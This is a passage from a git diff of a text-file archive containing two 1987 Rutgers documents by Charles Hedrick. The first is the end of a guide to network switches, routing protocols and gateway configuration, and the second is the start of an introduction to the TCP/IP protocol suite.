network to +the other? However a gateway may have several network interfaces. +Furthermore, when it forwards a packet, it must decide what host or +gateway to send the packet to next. It is even possible for a gateway +to decide to send a packet back onto the same network it came from. +If a host is using the gateway as its default, it may send packets +that really should go to some other gateway. In that case, the +gateway will send the packet on to the right gateway, and send back an +ICMP redirect to the host. Many gateways can also handle parallel +paths. If there are several equally good paths to a destination, the +gateway will alternate among them in round-robin fashion. + +In order to handle these decisions, a gateway will typically have a +routing table that looks very much like a host's. As with host +routing tables, a gateway's table contains an entry for each possible +network number. For each network, there is either an entry saying +that that network is connected directly to the gateway, or there is an +entry saying that traffic for that network should be forwarded through +some other gateway or gateways. We will describe the "routing +protocols" used to build up this information later, in the discussion +on how to configure a gateway. + + + +5.3 Comparing the switching technologies + + +Repeaters, buffered repeaters, bridges, and gateways form a spectrum. +Those devices near the beginning of the list are best for smaller +networks. They are less expensive, and easier to set up, but less +general. Those near the end of the list are suitable for building +more complex networks. Many networks will contain a mixture of switch +types, with repeaters being used to connect a few nearby network +segments, bridges used for slightly larger areas (particularly those +with low traffic levels), and gateways used for long-distance links. + +Note that this document so far has assumed that only gateways are +being used. The section on setting up a host described how to set up +a routing table listing the gateways to use to get to various +networks. Repeaters and bridges are invisible to IP. So as far as +previous sections are concerned, networks connected by them are to be +considered a single network. Section 3.3.1 describes how to configure + 34 + + + +a host in the case where several subnets are carried on a single +physical network. The same configuration should be used when several +subnets are connected by repeaters or bridges. + +As mentioned above, the most important dimensions on which switches +vary are isolation, performance, routing, network management, and +performing auxilliary support services. + + + +5.3.1 Isolation + + +Generally people use switches to connect networks to each other. So +they are normally thinking of gaining connectivity, not providing +isolation. However isolation is worth thinking about. If you connect +two networks and provide no isolation at all, then any network +problems on other networks suddenly appear on yours as well. Also, +the two networks together may have enough traffic to overwhelm your +network. Thus it is well to think of choosing an appropriate level of +protection. + +Isolation comes in two kinds: isolation against malfunctions and +traffic isolation. In order to discuss isolation of malfunctions, we +have to have a taxonomy of malfunctions. Here are the major classes +of malfunctions, and which switches can isolate them: + + - Electrical faults, e.g. a short in the cable or some sort of + fault that distorts the signal. All types of switch will confine + this to one side of the switch: repeater, buffered repeater, + bridge, gateway. These are worth protecting against, although + their frequency depends upon how often your cables are changed or + disturbed. It is rare for this sort of fault to occur without + some disturbance of the cable. + + - Transceiver and controller problems that general signals that are + valid electrically but nevertheless incorrect (e.g. a continuous, + infinitely long packet, spurious collisions, never dropping + carrier). All except the simple repeater will confine this: + buffered repeater, bridge, gateway. (Such problems are not very + common.) + + - Software malfunctions that lead to excessive traffic between + particular hosts (i.e. not broadcasts). Bridges and gateways + will isolate these. (This type of failure is fairly rare. Most + software and protocol problems generate broadcasts.) + + - Software malfunctions that lead to excessive broadcast traffic. + Gateways will isolate these. Generally bridges will not, because + they must pass broadcasts. Bridges with user-settable filtering + can protect against some broadcast malfunctions. However in + general bridges must pass ARP, and most broadcast malfunctions + involve ARP. This problem is not severe on single-vendor + networks where software is under careful control. However + research sites generally see problems of this sort regularly. + 35 + + + +Traffic isolation is provided by bridges and gateways. The most basic +decision is how many computers can be put onto a network without +overloading its capacity. This requires knowledge of the capacity of +the network, but also how the hosts will use it. For example, an +Ethernet may support hundreds of systems if all the network is used +for is remote logins and an occasional file transfer. However if the +computers are diskless, and use the network for swapping, an Ethernet +will support between 10 and 40, depending upon their speeds and I/O +rates. + +When you have to put more computers onto a network than it can handle, +you split it into several networks and put some sort of switch between +them. If you do the split correctly, most of the traffic will be +between machines on the same piece. This means putting clients on the +same network as their servers, putting terminal servers on the same +network as the hosts that they access most commonly, etc. + +Bridges and gateways generally provide similar degrees of traffic +isolation. In both cases, only traffic bound for hosts on the other +side of the switch is passed. However see the discussion on routing. + + + +5.3.2 Performance + + +This is becoming less of an issue as time goes on, since the +technology is improving. Generally repeaters can handle the full +bandwidth of the network. (By their very nature, a simple repeater +must be able to do so.) Bridges and gateways often have performance +limitations of various sorts. Bridges have two numbers of interest: +packet scanning rate and throughput. As explained above, a bridge +must look at every packet on the network, even ones that it does not +forward. The number of packets per second that it can scan in this +way is the packet scanning rate. Throughput applies to both bridges +and gateways. This is the rate at which they can forward traffic. +Generally this depends upon packet size. Normally the number of +packets per second that a unit can handle will be greater for short +packets than long ones. Early models of bridge varied from a few +hundred packets per second to around 7000. The higher speeds are for +equipment that uses special-purpose hardware to speed up the process +of scanning packets. First-generation gateways varied from a few +hundred packets per second to 1000 or more. However second-generation +gateways are now available, using special-purpose hardware of the same +sophistication as that used by bridges. They can handle on the order +of 10000 packets per second. Thus at the moment high-performance +bridges and gateways can switch most of the bandwidth of an Ethernet. +This means that performance should no longer be a basis for choosing +between types of switch. However within a given type of switch, there +are still specific models with higher or lower capacity. + +Unfortunately there is no single number on which you can base +performance estimates. The figure most commonly quoted is packets per +second. Be aware that most vendors count a packet only once as it +goes through a gateway, but that one prominent vendor counts packets + 36 + + + +twice. Thus their switching rates must be deflated by a factor of 2. +Also, when comparing numbers make sure that they are for packets of +the same size. A simple performance model is + + processing time = switching time + packet size * time per byte + +That is, the time to switch a packet is normally a constant switching +time, representing interrupt latency, header processing, routing table +lookup, etc., plus a component proportional to packet size, +representing the time needed to do any packet copying. One reasonable +approach to reporting performance is to give packets per second for +minimum and maximum size packets. Another is to report limiting +switching speed in packets per second and throughput in bytes per +second, i.e. the two terms of the equation above. + + + +5.3.3 Routing + + +Routing refers to the technology used to decide where to send a packet +next. Of course for a repeater this is not an issue, since repeaters +forward every packet. + +Bridges are almost always constructed with exactly two interfaces. +Thus routing turns into two decisions: (1) whether the bridge should +function at all, and (2) whether it should forward any particular +packet. The second decision is usually based on a table of MAC-level +addresses. As described above, this is built up by scanning traffic +on both sides of the bridge. The goal is to forward those packets +whose destination is on the other side of the bridge. This algorithm +requires that the network configuration have no loops or redundant +lines. Less sophisticated bridges leave this up to the system +designer. With these bridges, you must set up your network so that +there are no loops in it. More sophisticated bridges allow arbitrary +topology, but disable links until no loops remain. This provides +extra reliability. If a link fails, an alternative link will be +turned on automatically. Bridges that work this way have protocol +that allows them to detect when a unit must be disabled or reenabled, +so that at any instant the set of active links forms a "spanning +tree". If you require the extra reliability of redundant links, make +sure that the bridges you use can disable and enable themselves in +this way. There is currently no official standard for the protocol +used among bridges, although there is a standard in the proposal +stage. If you buy bridges from more than one vendor, make sure that +their spanning-tree protocols will interoperate. + +Gateways generally allow arbitrary network topologies, including loops +and redundant links. Because gateways may have more than two +interfaces, they must decide not only when to forward a packet, but +where to send it next. They do this by maintaining a model of the +entire network topology. Different routing techniques maintain models +of greater or lesser complexity, and use the data with varying degrees +of sophistication. Gateways that handle TCP/IP should generally +support the two Internet standard routing protocols: RIP (Routing + 37 + + + +Information Protocol) and EGP (External Gateway Protocol). EGP is a +special-purpose protocol for use in networks where there is a backbone +under a separate administration. It allows exchange of reachability +information with the backbone in a controlled way. If you are a +member of such a network, your gateway must support EGP. This is +becoming common enough that it is probably a good idea to make sure +that all gateways support EGP. + +RIP is a protocol designed to handle routing within small to moderate +size networks, where line speeds do not differ radically. Its primary +limitations are: + + - It cannot be used with networks where any path goes through more + than 15 gateways. This range may be further reduced if you use + an optional feature for giving a slow line a weight larger than + one. + + - It cannot share traffic between parallel lines (although some + implementations allow this if the lines are between the same pair + of gateways). + + - It cannot adapt to changes in network load. + + - It is not well suited to situations where there are alternative + routes through lines of very different speeds. + + - It may not be stable in networks where lines or gateways change a + lot. + +Some vendors supply proprietary modifications to RIP that improve its +operation with EGP or increase the maximum path length beyond 15, but +do not otherwise modify it very much. If you expect your network to +involve gateways from more than one vendor, you should generally +require that all of them support RIP, since this is the only routing +protocol that is generally available. If you expect to use a more +sophisticated protocol in addition, the gateways must have some +ability to translate between their own protocol and RIP. However for +very large or complex networks, there may be no choice but to use some +other protocol throughout. + +More sophisticated routing protocols are possible. The primary ones +being considered today are cisco System's IGRP, and protocols based on +the SPF (shortest-path first) algorithms. In general these protocols +are designed for larger or more complex networks. They are in general +stable under a wider variety of conditions, and they can handle +arbitrary combinations of line type and speed. Some of them allow you +to split traffic among parallel paths, to get better overall +throughput. Some newer technologies may allow the network to adjust +to take into account paths that are overloaded. However at the moment +I do not know of any commercial gateway that does this. (There are +very serious problems with maintaining stable routing when this is +done.) There are enough variations among routing technology, and it is +changing rapidly enough, that you should discuss your proposed network +topology in detail with all of the vendors that you are considering. +Make sure that their technology can handle your topology, and can + 38 + + + +support any special requirements that you have for sharing traffic +among parallel lines, and for adjusting topology to take into account +failures. In the long run, we expect one or more of these newer +routing protocols to attain the status of a standard, at least on a de +facto basis. However at the moment, there is no generally implemented +routing technology other than RIP. + +One additional routing topic to consider is policy-based routing. In +general routing protocols are designed to find the shortest or fastest +possible path for every packet. In some cases, this is not desired. +For reasons of security, cost accountability, etc., you may wish to +limit certain paths to certain uses. Most gateways now have some +ability to control the spread of routing information so as to give you +some administrative control over the way routes are used. Different +gateways vary in the degree of control that they support. Make sure +that you discuss any requirements that you have for control with all +prospective gateway vendors. + + + +5.3.4 Network management + + +Network management covers a wide variety of topics. In general it +includes gathering statistical data and status information about parts +of your network, and taking action as necessary to deal with failures +and other changes. There are several things that a switch can do to +make this process easier. The most basic is that it should have a way +of gathering and reporting statistics. These should include various +sorts of packet counts, as well as counts of errors of various kinds. +This data is likely to be most detailed in a gateway, since the +gateway classifies packets using the protocols, and may even respond +to certain types of packet itself. However bridges and even buffered +repeaters can certainly have counts of packets forwarded, interface +errors, etc. It should be possible to collect this data from a +central monitoring point. + +There is now an official Internet approach to network monitoring. The +first stages use a related set of protocols, SGMP and SNMP. Both of +these protocols are designed to allow you to collect information and +to make changes in configuration parameters for gateways and other +entities on your network. You can run the matching interface programs +on any host in your network. SGMP is now available for several +commercial gateways, as well as for Unix systems that are acting as +gateways. There is a limited set of information which any SGMP +implementation is required to supply, as well as a uniform mechanism +for vendors to add information of their own. By late 1988, the second +generation of this protocol, SNMP, should be in service. This is a +slightly more sophisticated protocol. It has with it a more complete +set of information that can be monitored, called the MIB (Management +Information Base). Unlike the somewhat ad hoc collection of SGMP +variables, the MIB is the result of numerous committee deliberations +involving a number of vendors and users. Eventually it is expected +that there will be a TCP/IP equivalent of CMIS, the ISO network +monitoring service. However CMIS, and its protocols, CMIP, are not + 39 + + + +yet official ISO standards, so they are still in the experimental +stages. + +In general terms all of these protocols accomplish the same thing: +They allow you to collect criticial information in a uniform way from +all vendors' equipment. You send commands as UDP datagrams from a +network management program running on some host in your network. +Generally the interaction is fairly simple, with a single pair of +datagrams exchanged: a command and a response. At the moment security +is fairly simple. It is possible to require what amounts to a +password in the command. (In SGMP it is referred to as a "session +name", rather than a password.) More elaborate, encryption-based +security is being developed. + +You will probably want to configure the network management tools at +your disposal to do several different things. For short-term network +monitoring, you will want to keep track of switches crashing or being +taken down for maintenance, and of failure of communications lines and +other hardware. It is possible to configurate SGMP and SNMP to issue +"traps" (unsolited messages) to a specified host or list of hosts when +some of these critical events occur (e.g. lines up and down). However +it is unrealistic to expect a switch to notify you when it crashes. +It is also possible for trap messages to be lost due to network +failure or overload. Thus you should also poll your switches +regularly to gather information. Various displays are available, +including a map of your network where items change color as their +status changes, and running "strip charts" that show packet rates and +other items through selected switches. This software is still in its +early stages, so you should expect to see a lot of change here. +However at the very least you should expect to be notified in some way +of failures. You may also want to be able to take actions to +reconfigure the system in response to failures, although security +issues make some mangers nervous about doing that through the existing +management protocols. + +The second type of monitoring you are likely to want to do is to +collect information for use in periodic reports on network utilization +and performance. For this, you need to sample each switch +perodically, and retrieve numbers of interest. At Rutgers we sample +hourly, and get the number of packets forwarded for IP and DECnet, a +count of reloads, and various error counts. These are reported daily +in some detail. Monthly summaries are produced giving traffic through +each gateway, and a few key error rates chosen to indicate a gateway +that is being overloaded (packets dropped in input and output). + +It should be possible to use monitoring techniques of this kind with +most types of switch. At the moment, simple repeaters do not report +any statistics. Since they do not generally have processors in them, +doing so would cause a major increase in their cost. However it +should be possible to do network management for buffered repeaters, +bridges, and gateways. Gateways are the most likely to contain +sophisticated network management software. Most gateway vendors that +handle TCP/IP are expected to implement the monitoring protocols +described above. Many bridge vendors make some provisions for +collecting performance data. Since bridges are not protocol-specific, + 40 + + + +most of them do not have the software necessary to implement +TCP/IP-based network management protocols. In some cases, monitoring +can be done only by typing commands to a directly-attached console. +(We have seen one case where it is necessary to take the bridge out of +service to gather this data.) In other cases, it is possible to gather +data via the network, but the monitoring protocol is ad hoc or even +proprietary. + +Except for very small networks, you should probably insist that all of +the devices on your network collect statistics and provide some way of +querying them remotely. In the long run, you can expect the most +software to be available for standard protocols such as SGMP/SNMP and +CMIS. However proprietary monitoring tools may be sufficient as long +as they work with all of the equipment that you have. + + + +5.3.5 A final evaluation + + +Here is a summary of the places where each kind of switch technology +is normally used: + + - Repeaters are normally confined to a single building. Since they + provide no traffic isolation, you must make sure that the entire + set of networks connected by repeaters can carry the traffic from + all of the computers on it. Since they generally provide no + network monitoring tools, you will not want to use repeaters for + a link that is likely to fail. + + - Bridges and gateways should be placed sufficiently frequently to + break your network into pieces for which the traffic volume is + manageable. You may want to place bridges or gateways in places + where traffic would not require them for network monitoring + reasons. + + - Because bridges must pass broadcast packets, there is a limit to + the size network you can construct using them. It is probably a + good idea to limit the network connected by bridges to a hundred + systems or so. This number can be increased somewhat for bridges + with good facilities for filtering. + + - Because certain kinds of network misbehavior will be passed, + bridges should be used only among portions of the network where a + single group is responsible for diagnosing problems. You have to + be crazy to use a bridge between networks owned by different + organizations. Portions of your network where experiments are + being done in network technology should always be isolated from + the rest of the network by gateways. + + - For many applications it is more important to choose a product + with the right combination of performance, network management + tools, and other features than to make the decision between + bridges and gateways. + + 41 + + + +@section(Configuring Gateways) + +This section deals with configuration issues that are specific to +gateways. Gateways than handle TCP/IP are themselves Internet hosts. +Thus the discussions above on configuring addresses and routing +information apply to gateways as well as to hosts. The exact way you +configure a gateway will depend upon the vendor. In some cases, you +edit files stored on a disk in the gateway itself. However for +reliability reasons most gateways do not have disks of their own. For +them, configuration information is stored in non-volatile memory or in +configuration files that are uploaded from one or more hosts on the +network. + +At a minimum, configuration involves specifying the Internet address +and address mask for each interface, and enabling an appropriate +routing protocol. However generally a few other options are +desirable. There are often parameters in addition to the Internet +address that you should set for each interface. + +One important parameter is the broadcast address. As explained above, +older software may react badly when broadcasts are sent using the new +standard broadcast address. For this reason, some vendors allow you +to choose a broadcast address to be used on each interface. It should +be set using your knowledge of what computers are on each of the +networks. In general if the computers follow current standards, a +broadcast address of 255.255.255.255 should be used. However older +implementations may behave better with other addresses, particularly +the address that uses zeros for the host number. (For the network +128.6 this would be 128.6.0.0. For compatibility with software that +does not implement subnets, you would use 128.6.0.0 as the broadcast +address even for a subnet such as 128.6.4.) You should watch your +network with a network monitor and see the results of several +different broadcast address choices. If you make a bad choice, every +time the gateway sends a routing update broadcast, many machines on +your network will respond with ARP's or ICMP errors. Note that when +you change the broadcast address in the gateway, you may need to +change it on the individual computers as well. Generally the idea is +to change the address on the systems that you can configure to give +behavior that is compatible with systems that you can't configure. + +Other interface parameters may be necessary to deal with peculiarities +of the network it is connected to. For example, many gateways test +Ethernet interfaces to make sure that the cable is connected and the +transceiver is working correctly. Some of these tests will not work +properly with the older Ethernet version 1 transceivers. If you are +using such a transceiver, you would have to disable this keepalive +testing. Similarly, gateways connected by a serial line normally do +regular testing to make sure that the line is still working. There +can be situations where this needs to be disabled. + +Often you will have to enable features of the software that you want +to use. For example, it is often necessary to turn on the network +management protocol explicitly, and to give it the name or address of +a host that is running software to accept traps (error messages). + + 42 + + + +Most gateways have options that relate to security. At a minimum, +this may include setting password for making changes remotely (and the +"session name" for SGMP). If you need to control access to certain +parts of your network, you will also need to define access control +lists or whatever other mechanism your gateway uses. + +Gateways that load configuration information over the network present +special issues. When such a gateway boots, it sends broadcast +requests of various kinds, attempting to find its Internet address and +then to load configuration information. Thus it is necessary to make +sure that there is some computer that is prepared to respond to these +requests. In some cases, this is a dedicated micro running special +software. In other cases, generic software is available that can run +on a variety of machines. You should consult your vendor to make sure +that this can be arranged. For reliability reasons, you should make +sure that there is more than one host with the information and +programs that your gateways need. In some cases you will have to +maintain several different files. For example, the gateways used at +Rutgers use a program called "bootp" to supply their Internet address, +and they then load the code and configuration information using TFTP. +This means that we have to maintain a file for bootp that contains +Ethernet and Internet addresses for each gateway, and a set of files +containing other configuration information for each gateway. If your +network is large, it is worth taking some trouble to make sure that +this information remains consistent. We keep master copies of all of +the configuration information on a single computer, and distribute it +to other systems when it changes, using the Unix utilities make and +rdist. If your gateway has an option to store configuration +information in non-volatile memory, you will eliminate some of these +logistical headaches. However this presents its own problems. The +contents of non-volatile memory should be backed up in some central +location. It will also be harder for network management personnel to +review configuration information if it is distributed among the +gateways. + +Starting a gateway is particularly challenging if it loads +configuration information from a distant portion of the network. +Gateways that expect to take configuration information from the +network generally issue broadcast requests on all of the networks to +which they are connected. If there is a computer on one of those +networks that is prepared to respond to the request, things are +straightforward. However some gateways may be in remote locations +where there are no nearby computer systems that can support the +necessary protocols. In this case, it is necessary to arrange for the +requests to be routed back to network where there are appropriate +computers. This requires what is strictly speaking a violation of the +basic design philosophy for gateways. Generally a gateway should not +allow broadcasts from one network to pass through to an adjacent +network. In order to allow a gateway to get information from a +computer on a different network, at least one of the gateways in +between will have to be configured to pass the particular class of +broadcasts used to retrieve this information. If you have this sort +of configuration, you should test the loading process regularly. It +is not unusual to find that gateways do not come up after a power +failure because someone changed the configuration of another gateway + 43 + + + +and made it impossible to load some necessary information. + + + +5.4 Configuring routing for gateways + + +The final topic to be considered is configuring routing. This is more +complex for a gateway than for a normal host. Most Internet experts +recommend that routing be left to the gateways. Thus hosts may simply +have a default route that points to the nearest gateway. Of course +the gateways themselves can't get by with this. They need to have +complete routing tables. + +In order to understand how to configure a gateway, we have to look in +a bit more detail at how gateways communicate routes. When you first +turn on a gateway, the only networks it knows about are the ones that +are directly connected to it. (They are specified by the +configuration information.) In order to find out how to get to more +distant parts of the network, it engages in some sort of "routing +protocol". A routing protocol is simply a protocol that allows each +gateway to advertise which networks it can get to, and to spread that +information from one gateway to the next. Eventually every gateway +should know how to get to every network. There are different styles +of routing protocol. In one common type, gateways talk only to nearby +gateways. In another type, every gateway builds up a database +describing every other gateway in the system. However all of the +protocols have some way for each gateway in the system to find out how +to get to every destination. + +A metric is some number or set of numbers that can be used to compare +routes. The routing table is constructed by gathering information +from other gateways. If two other gateways claim to be able to get to +the same destination, there must be some way of deciding which one to +use. The metric is used to make that decision. Metrics all indicate +in some general sense the "cost" of a route. This may be a cost in +dollars of sending packets over that route, the delay in milliseconds, +or some other measure. The simplest metric is just a count of the +number of gateways along the path. This is referred to as a "hop +count". Generally this metric information is set in the gateway +configuration files, or is derived from information appearing there. + +At a minimum, routing configuration is likely to consist of a command +to enable the routing protocol that you want to use. Most vendors +will have a prefered routing protocol. Unless you have some reason to +choose another, you should use that. The normal reason for choosing +another protocol is for compatibility with other kinds of gateway. +For example, your network may be connected to a national backbone +network that requires you to use EGP (exterior gateway protocol) to +communicate routes with it. EGP is only appropriate for that specific +case. You should not use EGP within your own network, but you may +need to use it in addition to your regular routing protocol to +communicate with a national network. If your own network has several +different types of gateway, then you may need to pick a routing +protocol that all of them support. At the moment, this is likely to + 44 + + + +be RIP (Routing Information Protocol). Depending upon the complexity +of your network, you could use RIP throughout it, or use a more +sophisticated protocol among the gateways that support it, and use RIP +only at the boundary between gateways from different vendors. + +Assuming that you have chosen a routing protocol and turned it on, +there are some additional decisions that you may need to make. One of +the more basic configuration options has to do with supplying metric +information. As indicated above, metrics are numbers which are used +to decide which route is the best. Unsophisticated routing protocols, +e.g. RIP, normally just count hops. So a route that passes through 2 +gateways would be considered better than one that passes through 3. +Of course if the latter route used 1.5Mbps lines and the former 9600 +bps lines, this would be the wrong decision. Thus most routing +protocols allow you to set parameters to take this sort of thing into +account. With RIP, you would arrange to treat the 9600 bps line as if +it were several hops. You would increase the effective hop count +until the better route was chosen. More sophisticated protocols may +take the bit rate of the line into account automatically. However you +should be on the lookout for configuration parameters that need to be +set. Generally these parameters will be associated with the +particular interface. For example, with RIP you would have to set a +metric value for the interface connected to the 9600 bps line. With +protocols that are based on bit rate, you might need to specify the +speed of each line (if the gateway cannot figure it out +automatically). + +Most routing protocols are designed to let each gateway learn the +topology of the entire network, and to choose the best possible route +for each packet. In some cases you may not want to use the "best" +route. You may want traffic to stay out of a certain portion of the +network for security or cost reasons. One way to institute such +controls is by specifying routing options. These options are likely +to be different for different vendors. But the basic strategy is that +if the rest of the network doesn't know about a route, it won't be +used. So controls normally take the form of limiting the spread of +information about routes whose use you want to control. + +Note that there are ways for the user to override the routing +decisions made by your gateways. If you really need to control access +to a certain network, you will have to do two separate things: Use +routing controls to make sure that the gateways use only the routes +you want them to. But also use access control lists on the gateways +that are adjacent to the sensitive networks. These two mechanisms act +at different levels. The routing controls affect what happens to most +packets: those where the user has not specified routing manually. +Your routing mechanism must be set up to choose an acceptable route +for them. The access control list provides an additional limitation +which prevents users from supplying their own routing and bypassing +your controls. + +For reliability and security reasons, there may also be controls to +allow you to list the gateways from which you will accept information. +It may also be possible to rank gateways by priority. For example, +you might decide to listen to routes from within your own organization + 45 + + + +before routes from other organizations or other parts of the +organization. This would have the effect of having traffic use +internal routes in preference to external ones, even if the external +ones appear to be better. + +If you use several different routing protocols, you will probably have +some decisions to make regarding how much information to pass among +them. Since multiple routing protocols are often associated with +multiple organizations, you must be sure to make these decisions in +consultation with management of all of the relevant networks. +Decisions that you make may have consequences for the other network +which are not immediately obvious. You might think it would be best +to configure the gateway so that everything it knows is passed on by +all routing protocols. However here are some reasons why you may not +want to do so: + + - The metrics used by different routing protocols may not be + comparable. If you are connected to two different external + networks, you want to specify that one should always be used in + preference to the other, or that the nearest one should be used, + rather than attempting to compare metric information received + from the two networks to see which has the better route. + + - EGP is particularly sensitive, because the EGP protocol cannot + handle loops. Thus there are strict rules governing what + information may be communicated to a backbone that uses EGP. In + situations where EGP is being used, management of the backbone + network should help you configure your routing. + + - If you have slow lines in your network (9600 bps or slower), you + may prefer not to send a complete routing table throughout the + network. If you are connected to an external network, you may + prefer to treat it as a default route, rather than to inject all + of its routing information into your routing protocol. + + + + + + + + + + + + + + + + + + + + + + 46 diff --git a/textfiles.com/internet/tcpip.hac b/textfiles.com/internet/tcpip.hac new file mode 100644 index 00000000..b95cb13e --- /dev/null +++ b/textfiles.com/internet/tcpip.hac @@ -0,0 +1,1706 @@ + + + + + + + + + + + + + Introduction + to + the Internet Protocols + + + + + + C R + + C S + Computer Science Facilities Group + C I + + L S + + + RUTGERS + The State University of New Jersey + + + + + 3 July 1987 + +This is an introduction to the Internet networking protocols (TCP/IP). +It includes a summary of the facilities available and brief +descriptions of the major protocols in the family. + +Copyright (C) 1987, Charles L. Hedrick. Anyone may reproduce this +document, in whole or in part, provided that: (1) any copy or +republication of the entire document must show Rutgers University as +the source, and must include this notice; and (2) any other use of +this material must reference this manual and Rutgers University, and +the fact that the material is copyright by Charles Hedrick and is used +by permission. + + + +Unix is a trademark of AT&T Technologies, Inc. + + + + Table of Contents + + + 1. What is TCP/IP? 1 + 2. General description of the TCP/IP protocols 5 + 2.1 The TCP level 7 + 2.2 The IP level 10 + 2.3 The Ethernet level 11 + 3. Well-known sockets and the applications layer 12 + 3.1 An example application: SMTP 15 + 4. Protocols other than TCP: UDP and ICMP 17 + 5. Keeping track of names and information: the domain system 18 + 6. Routing 20 + 7. Details about Internet addresses: subnets and broadcasting 21 + 8. Datagram fragmentation and reassembly 23 + 9. Ethernet encapsulation: ARP 24 + 10. Getting more information 25 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + i + + + +This document is a brief introduction to TCP/IP, followed by advice on +what to read for more information. This is not intended to be a +complete description. It can give you a reasonable idea of the +capabilities of the protocols. But if you need to know any details of +the technology, you will want to read the standards yourself. +Throughout the text, you will find references to the standards, in the +form of "RFC" or "IEN" numbers. These are document numbers. The final +section of this document tells you how to get copies of those +standards. + + + +1. What is TCP/IP? + + +TCP/IP is a set of protocols developed to allow cooperating computers +to share resources across a network. It was developed by a community +of researchers centered around the ARPAnet. Certainly the ARPAnet is +the best-known TCP/IP network. However as of June, 87, at least 130 +different vendors had products that support TCP/IP, and thousands of +networks of all kinds use it. + +First some basic definitions. The most accurate name for the set of +protocols we are describing is the "Internet protocol suite". TCP and +IP are two of the protocols in this suite. (They will be described +below.) Because TCP and IP are the best known of the protocols, it +has become common to use the term TCP/IP or IP/TCP to refer to the +whole family. It is probably not worth fighting this habit. However +this can lead to some oddities. For example, I find myself talking +about NFS as being based on TCP/IP, even though it doesn't use TCP at +all. (It does use IP. But it uses an alternative protocol, UDP, +instead of TCP. All of this alphabet soup will be unscrambled in the +following pages.) + +The Internet is a collection of networks, including the Arpanet, +NSFnet, regional networks such as NYsernet, local networks at a number +of University and research institutions, and a number of military +networks. The term "Internet" applies to this entire set of networks. +The subset of them that is managed by the Department of Defense is +referred to as the "DDN" (Defense Data Network). This includes some +research-oriented networks, such as the Arpanet, as well as more +strictly military ones. (Because much of the funding for Internet +protocol developments is done via the DDN organization, the terms +Internet and DDN can sometimes seem equivalent.) All of these +networks are connected to each other. Users can send messages from +any of them to any other, except where there are security or other +policy restrictions on access. Officially speaking, the Internet +protocol documents are simply standards adopted by the Internet +community for its own use. More recently, the Department of Defense +issued a MILSPEC definition of TCP/IP. This was intended to be a more +formal definition, appropriate for use in purchasing specifications. +However most of the TCP/IP community continues to use the Internet +standards. The MILSPEC version is intended to be consistent with it. + +Whatever it is called, TCP/IP is a family of protocols. A few provide + 1 + + + +"low-level" functions needed for many applications. These include IP, +TCP, and UDP. (These will be described in a bit more detail later.) +Others are protocols for doing specific tasks, e.g. transferring files +between computers, sending mail, or finding out who is logged in on +another computer. Initially TCP/IP was used mostly between +minicomputers or mainframes. These machines had their own disks, and +generally were self-contained. Thus the most important "traditional" +TCP/IP services are: + + - file transfer. The file transfer protocol (FTP) allows a user on + any computer to get files from another computer, or to send files + to another computer. Security is handled by requiring the user + to specify a user name and password for the other computer. + Provisions are made for handling file transfer between machines + with different character set, end of line conventions, etc. This + is not quite the same thing as more recent "network file system" + or "netbios" protocols, which will be described below. Rather, + FTP is a utility that you run any time you want to access a file + on another system. You use it to copy the file to your own + system. You then work with the local copy. (See RFC 959 for + specifications for FTP.) + + - remote login. The network terminal protocol (TELNET) allows a + user to log in on any other computer on the network. You start a + remote session by specifying a computer to connect to. From that + time until you finish the session, anything you type is sent to + the other computer. Note that you are really still talking to + your own computer. But the telnet program effectively makes your + computer invisible while it is running. Every character you type + is sent directly to the other system. Generally, the connection + to the remote computer behaves much like a dialup connection. + That is, the remote system will ask you to log in and give a + password, in whatever manner it would normally ask a user who had + just dialed it up. When you log off of the other computer, the + telnet program exits, and you will find yourself talking to your + own computer. Microcomputer implementations of telnet generally + include a terminal emulator for some common type of terminal. + (See RFC's 854 and 855 for specifications for telnet. By the + way, the telnet protocol should not be confused with Telenet, a + vendor of commercial network services.) + + - computer mail. This allows you to send messages to users on + other computers. Originally, people tended to use only one or + two specific computers. They would maintain "mail files" on + those machines. The computer mail system is simply a way for you + to add a message to another user's mail file. There are some + problems with this in an environment where microcomputers are + used. The most serious is that a micro is not well suited to + receive computer mail. When you send mail, the mail software + expects to be able to open a connection to the addressee's + computer, in order to send the mail. If this is a microcomputer, + it may be turned off, or it may be running an application other + than the mail system. For this reason, mail is normally handled + by a larger system, where it is practical to have a mail server + running all the time. Microcomputer mail software then becomes a + 2 + + + + user interface that retrieves mail from the mail server. (See + RFC 821 and 822 for specifications for computer mail. See RFC + 937 for a protocol designed for microcomputers to use in reading + mail from a mail server.) + +These services should be present in any implementation of TCP/IP, +except that micro-oriented implementations may not support computer +mail. These traditional applications still play a very important role +in TCP/IP-based networks. However more recently, the way in which +networks are used has been changing. The older model of a number of +large, self-sufficient computers is beginning to change. Now many +installations have several kinds of computers, including +microcomputers, workstations, minicomputers, and mainframes. These +computers are likely to be configured to perform specialized tasks. +Although people are still likely to work with one specific computer, +that computer will call on other systems on the net for specialized +services. This has led to the "server/client" model of network +services. A server is a system that provides a specific service for +the rest of the network. A client is another system that uses that +service. (Note that the server and client need not be on different +computers. They could be different programs running on the same +computer.) Here are the kinds of servers typically present in a +modern computer setup. Note that these computer services can all be +provided within the framework of TCP/IP. + + - network file systems. This allows a system to access files on + another computer in a somewhat more closely integrated fashion + than FTP. A network file system provides the illusion that disks + or other devices from one system are directly connected to other + systems. There is no need to use a special network utility to + access a file on another system. Your computer simply thinks it + has some extra disk drives. These extra "virtual" drives refer + to the other system's disks. This capability is useful for + several different purposes. It lets you put large disks on a few + computers, but still give others access to the disk space. Aside + from the obvious economic benefits, this allows people working on + several computers to share common files. It makes system + maintenance and backup easier, because you don't have to worry + about updating and backing up copies on lots of different + machines. A number of vendors now offer high-performance + diskless computers. These computers have no disk drives at all. + They are entirely dependent upon disks attached to common "file + servers". (See RFC's 1001 and 1002 for a description of + PC-oriented NetBIOS over TCP. In the workstation and + minicomputer area, Sun's Network File System is more likely to be + used. Protocol specifications for it are available from Sun + Microsystems.) + + - remote printing. This allows you to access printers on other + computers as if they were directly attached to yours. (The most + commonly used protocol is the remote lineprinter protocol from + Berkeley Unix. Unfortunately, there is no protocol document for + this. However the C code is easily obtained from Berkeley, so + implementations are common.) + + 3 + + + + - remote execution. This allows you to request that a particular + program be run on a different computer. This is useful when you + can do most of your work on a small computer, but a few tasks + require the resources of a larger system. There are a number of + different kinds of remote execution. Some operate on a command + by command basis. That is, you request that a specific command + or set of commands should run on some specific computer. (More + sophisticated versions will choose a system that happens to be + free.) However there are also "remote procedure call" systems + that allow a program to call a subroutine that will run on + another computer. (There are many protocols of this sort. + 